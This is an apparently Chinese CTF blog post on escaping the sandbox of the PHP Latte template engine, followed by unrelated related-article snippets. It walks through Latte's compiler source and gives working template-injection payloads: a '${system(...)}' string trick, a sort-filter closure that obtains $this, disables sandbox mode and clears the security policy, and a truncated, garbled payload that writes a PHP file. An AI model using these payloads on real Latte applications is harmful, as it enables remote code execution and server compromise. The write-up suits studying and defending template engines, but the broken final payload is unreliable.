Latte-SSTI-Payloads总结

一颗小胡椒2021-12-14 16:56:16

TL;DR

最近西湖论剑有一道使用Latte的题目,当时我也是用的偷鸡办法做的,当时时间限制就没有仔仔细细的去寻找逃逸的办法。

直到赛后我发现逃逸的办法很简单

{="${system('nl /flag')}"}

这里使用的是php的基础语法,我就不过多赘述了。这个复杂变量网上也有很多文章。

赛后我无聊的时候简单看了下Latte,找了点后续的利用,比如获取$this变量,还有任意代码执行。然后发现网上关于这个引擎的文章很少,就来水一篇吧。

“${}” Bypass

我粗略的读了下Latte,其实Latte确实是对$$和${}进行了检测的

//PhpWriter.phppublic function sandboxPass(MacroTokens $tokens): MacroTokens{        ......        elseif ($tokens->isCurrent('$')) { // $$$var or ${...}                throw new CompileException('Forbidden variable variables.');
        }        ......        else { // $obj->$$$var or $obj::$$$var                        $member = $tokens->nextAll($tokens::T_VARIABLE, '$');                        $expr->tokens = $op === '::' && !$tokens->isNext('(')                            ? array_merge($expr->tokens, array_slice($member, 1))                            : array_merge($expr->tokens, $member);         }        ......}

从给的注释和报错的异常也能看出来,这里通过前面的词法,语法分析出来的token在检测形容${},$$var这样的结构。

如果你直接在模板里书写${$xx}确实会报上面哪个异常

但是如果使用”${xxx}”,可能在前面词法,语法分析就会认为这是个定义的字符串,根本不会进入这里的sandboxPass方法了

可以从一个尽量精简的例子来看看后续的流程

 //这是index.phprequire 'vendor/autoload.php';$latte = new Latte\Engine;$latte->setTempDirectory('tempdir');$policy = new Latte\Sandbox\SecurityPolicy;$policy->allowMacros(['block', 'if', 'else','=']);$policy->allowFilters($policy::ALL);$policy->allowFunctions(['trim', 'strlen']);$latte->setPolicy($policy);$latte->setSandboxMode();$latte->setAutoRefresh(true);
if(isset($_FILES['file'])){    $uploaddir = '/var/www/html/tempdir/';    $filename = basename($_FILES['file']['name']);    if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){        die('no');    }    $file_conents = file_get_contents($_FILES['file']['tmp_name']);    if(strlen($file_conents)>28 or stristr($file_conents,'<')){        die('no');    }    $uploadfile = $uploaddir . $filename;
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {        $message = $filename ." was successfully uploaded.";    } else {        $message = "error!";    }
    $params = [        'message' => $message,    ];    $latte->render('tempdir/index.latte', $params);}else if($_GET['source']==1){    highlight_file(__FILE__);}else{    $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);}
/*这是index.latte*/    {="${eval('echo \'pwn!\';')}"}    

调用栈张这样,光从名字来看应该还是挺清晰的

主要看看buildClassBody方法

private function buildClassBody(array $tokens){......        $macroHandlers = new \SplObjectStorage;
        if ($this->macros) {            array_map([$macroHandlers, 'attach'],     array_merge(...array_values($this->macros)));        }
        foreach ($macroHandlers as $handler) {            $handler->initialize($this);        }
        foreach ($tokens as $this->position => $token) {            if ($this->inHead && !(                $token->type === $token::COMMENT                || $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD                || $token->type === $token::TEXT && trim($token->text) === ''            )) {                $this->inHead = false;            }            $this->{"process$token->type"}($token);        }......

在上面哪个示范中,$this->{“process$token->type”}($token);当$token->type=MacroTag时,调用的就是$this->processMacroTag($token);

主要来看看这个MacroTag的处理过程,因为这个MacroTag就代表{="${eval('echo \'pwn!\';')}"}

private function processMacroTag(Token $token): void{......//对于这个标签,因为情况比较简单,直接就是来到这里        $node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);......}
public function openMacro(        string $name,        string $args = '',        string $modifiers = '',        bool $isRightmost = false,        string $nPrefix = null    ): MacroNode {    ......    $node = $this->expandMacro($name, $args, $modifiers, $nPrefix);    ......    }
public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{    if (empty($this->macros[$name])){//先判断是否存在这个macros        ......    }    $modifiers = (string) $modifiers;//获取修饰符     .......    .......    foreach (array_reverse($this->macros[$name]) as $macro) {            $node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作(因为调的时候前面很多分支没进入,就不管了),终于开始建立这个节点            $node->context = $context;            $node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine();            if ($macro->nodeOpened($node) !== false) {                return $node;            }    }}

来到MacroSet的nodeOpened(这里是CoreMacros继承的MacroSet方法)然后调用了MacroSet的compile方法,对于本例会来到CoreMacros的macroExpr,通过这个方法上面的注释也能明白这里是在准备编译表达式,在准备将表达式打印的语句编译出来。

nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)

然后来到PhpWriter的write方法

   /**     * Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code.     * @param  mixed  ...$args     */    public function write(string $mask, ...$args): string    ......    //这整个PhpWriter其实都在干一件事就是去生成一个类似于格式化字符串的结果    //对于本例,当格式化参数的时候,会一路调用到PhpWriter的sandboxPass方法

在PhpWriter的sandboxPass方法中,会根据目前他拿到的tokens来做判断(虽然初始化PhpWriter的时候,传给他的tokens属性的变量叫tokenizer,实际上传过去的是是当时哪个节点对于分词器的一个包装)

....elseif ($tokens->isCurrent('$')) { // $$$var or ${...}                throw new CompileException('Forbidden variable variables.');....

可以看到这里如果使用$tokens->isCurrent(‘$’)自然而然获取到的是"${eval(xxxxxx)}"并不是一个$的token。

所以就绕过了sandbox。

底层的原理也很简单,其实就是Latte的解析并没有与php一致。也就是说Latte认为这就是在输出一个字符串而已,但是最后生成的php文件中,这确实是一个符合语法规则的复杂变量。

How to get $this

模板沙盒逃逸一般大家第一步都喜欢去寻找一些内置变量一类,看看有没有什么操作的空间。但是Latte我粗略的看了下官方文档,好像没有内置变量。直接使用$this会直接被ban。

这里我当时看到了一个过滤器sort

You can pass your own comparison function as a parameter:{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}//这是官方的例子

这样的东西看起来就很危险,而且最后是会编译成php文件的,所以我猜测自定义匿名函数的代码片段最后生成到php文件时不会产生太大的变化。我当时试了试在匿名函数里面定义一个没用的变量。在最后编译生成的php文件里,我也确实看到了我定义的变量。所以我就觉得这个地方是有操作空间的。

如果你直接准备再这里进行函数调用会被直接拦下来的,静态调用过不了编译。动态调用因为上文提到的sandboxPass方法,会进行以下转换比如

trim("phpinfo\t")();  => $this->call(trim("phpinfo\t"))();

其中$this变量是一个Latte\Runtime\Template的对象,他的这个call其实就是在检测白名单,并且适配了php的几种动态调用的形式,比如数组之类的。

我水平有限也无法规避Latte对动态调用这样的转换。(可能可以使用类似mxss的思路去规避?)

所以我就还是准备使用”${}”看看能否获得$this变量

  
{=["this","siebene"]|sort: function ($a,$b)  {  
        "${is_string(${$a}->getEngine()->setSandboxMode(false))}";        "${is_string(${$a}->getEngine()->setPolicy(null))}";
    }}</li>    /*    这里有个小细节就是为了避免对象转为字符串报致命错误提前中断,我使用了`is_string`来将对象间接转成可以接受的形式。    */

发现还是挺简单的,我就拿到了$this变量,并且关闭了沙盒还有清空了策略。

Another RCE Payloads

有兴趣看的话,感觉payload应该还是会有挺多的

{=["this","siebene"]|sort: function ($a,$b)  {                  "${is_string(${$a}->call(function (){ file_put_contents('sie.php',';    }}</li>
tokenstring
本作品采用《CC 协议》,转载必须注明作者和本文链接
EventID=4624,从安全日志中获取登录成功的客户端登录ip、登录源端口、登录时间等信息
在工作过程中,尤其是应急的时候,碰到客户windows域控被入侵的相关安全事件时,往往会需要分析windows安全日志,此类日志往往非常的大;此时,高效分析windows安全日志,提取出我们想要的有用信息,就显得尤为关键。
0x01 前言 工作过程中,尤其是应急的时候,碰到客户windows域控被入侵的相关安全事件时,往往会需要分析windows安全日志,此类日志往往非常的大;此时,高效分析windows安全日志,提取出我们想要的有用信息,就显得尤为关键,这里给大家推荐一款我常用的windows日志分析工具,logparser,目前版本是2.2。
总结Windows服务器入侵排查的思路,对最容易出现安全问题的地方进行入手排查。
漏洞信息ShenYu是一款高性能,响应式的网关,同时也是应用于所有微服务场景的,可扩展、高性能、响应式的 API 网关解决方案。
最终通过登录成功后得到存在漏洞的后端接口,通过命令执行getshell。一个证书中包含了公钥、持有者信息、证明证书内容有效的签名以及证书有效期,还有一些其他额外信息。比对两个摘要,如果匹配,则说明这个证书是被CA验证过合法证书,里面的公钥等信息是可信的。为了达成目标,BurpSuite必须:生成一对公私钥,并将公钥和目标域名绑定并封装为证书。所以, BurpSuite需要在操作系统添加一个根证书,这个根证书可以让浏览器信任所有BurpSuite颁发的证书。
分块传输吊打所有WAF
对于要有孩子的家庭来说,有一个婴儿监视器是比较好的选择。婴儿监视器类型包括 Wi-Fi、移动app和云平台等。我们决定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔细研究一下这款设备的安全性。
域渗透实战之 vsmoon
2023-11-14 10:40:10
域渗透实战之 vsmoon
一颗小胡椒
暂无描述